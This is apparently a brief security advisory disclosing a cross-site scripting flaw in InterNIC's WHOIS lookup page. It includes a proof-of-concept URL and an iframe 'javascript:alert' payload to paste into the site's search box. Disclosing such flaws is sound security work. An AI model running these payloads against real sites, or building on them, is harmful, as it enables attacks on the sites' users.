InterNIC's whois look-up suffers from a cross site scripting vulnerability.
633a6cd0d19f7f71c9206620c86ff1a916f6484969e2bbf201ca8bfef706b488# Title : InterNIC WHOIS lookup XSS exploit
# Description : InterNIC has a WHOIS lookup function wich suffers from an XSS vulnerability
# Author : Tosser
# Contact : ht7015@gmail.com
# Proof :
http://reports.internic.net/cgi/whois?whois_nic=%3Ciframe%20src=%22javascript:alert('XSS')%22%3E&type=domain
or go to http://www.internic.net/, then choose Whois from the menu, and type
<iframe src="javascript:alert('XSS')">
in the inputbox and click Submit.
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed